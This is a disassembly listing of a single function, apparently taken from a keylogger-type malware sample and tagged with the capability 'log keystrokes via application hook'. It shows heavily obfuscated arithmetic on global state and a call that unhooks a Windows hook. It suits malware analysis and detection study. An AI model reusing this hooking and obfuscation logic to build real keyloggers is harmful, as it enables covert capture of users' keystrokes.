Function at 0x413150
Capabilities:
Log keystrokes via application hook

Disassembly:
push ecx
push ebx
mov ebx, dword [0x45cbcc]
push ebp
mov ebp, dword [0x45cbd4]
mov eax, 0x331da7cd
imul ebp
sar edx, 0x11
push esi
push edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x98eb62a3
imul ebx
add edx, ebx
sar edx, 0x13
mov ecx, ebx
imul ecx, ecx, 0x898dd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x220de0d
imul ebp
mov esi, dword [0x45cbe8]
sar edx, 0xd
imul esi, esi, 0x857ee
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x220de0d
imul ebx
mov dword [esp + 0x10], ecx
mov ecx, dword [0x45cbdc]
sar edx, 0xd
imul ecx, ecx, 0xa0576
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
add eax, edi
add eax, edx
add ecx, eax
mov eax, dword [section.dfsaewr4]
add ecx, esi
test eax, eax
mov dword [str._r_____r____], ecx
jne 0x41327f
mov eax, dword [0x5706f0]
test eax, eax
jne 0x41327f
mov ecx, dword [0x45cbd0]
mov eax, 0x99335f19
imul ecx
add edx, ecx
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x4d49d1e9
imul ecx
sar edx, 0x11
add esi, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x69fe2
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x3b8e0831
imul ecx
mov eax, dword [0x45cbe0]
mov ecx, dword [0x45cbe4]
imul eax, eax, 0x50c98
sar edx, 0x11
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x662e995b
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
pop edi
mov dword [0x45cbc8], esi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
mov eax, 0x63b1cbb5
imul ebx
mov ebx, dword [0x45cbe4]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x69fe2
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x898dd
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x662e995b
imul ebp
mov ebp, dword [esp + 0x10]
sar edx, 0x12
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
sub eax, esi
sub eax, ecx
lea ecx, [eax + edi + 0x6a03b]
mov dword [0x45cbcc], ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x9a8b8787
imul ecx
add edx, ecx
mov ecx, dword [0x45cbd8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4d49d1e9
imul ecx
imul ecx, ecx, 0xf08ec
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x220de0d
imul dword [0x45cbdc]
sub ebp, edi
add ebp, ecx
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa0576
sub ebp, ecx
mov ecx, dword [section.dfsaewr4]
add ebp, edx
sub ebp, ebx
lea eax, [esi + ebp - 0x69fe2]
push ecx
mov dword [0x45cbd0], eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x45cbe0]
mov esi, eax
test esi, esi
je 0x4133d0
mov edi, dword [str._r_____r____]
mov edx, dword [0x45cbd8]
mov ebx, dword [0x45cbdc]
lea ebp, [edx + edi]
imul edi, edi, 0xa0437
mov eax, 0x63b1cbb5
imul ebp, ebp, 0xa0576
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x898dd
sub ebp, eax
add ebp, edx
mov eax, 0x331da7cd
imul ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
add eax, ebp
lea edx, [edi + eax - 0x69fe2]
xor eax, eax
mov dword [0x45cbd4], edx
mov dword [section.dfsaewr4], eax
mov dword [0x5706f0], eax
mov edi, dword [0x45cbe8]
mov eax, 0x7abb0ab
imul edi
sar edx, 0xe
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x63b1cbb5
imul ecx
imul ecx, ecx, 0xa4579
sar edx, 0x12
mov ebp, edx
add ebx, edx
mov eax, edi
imul eax, eax, 0x69fe2
shr ebp, 0x1f
add ebp, ebx
add ebp, ecx
sub ebp, eax
mov eax, 0x3b8e0831
imul edi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa0437
sub ebp, ecx
add ebp, edx
mov eax, 0x331da7cd
imul dword [0x45cbd4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
pop edi
mov eax, esi
pop esi
mov dword [0x45cbd8], ebp
pop ebp
pop ebx
pop ecx
ret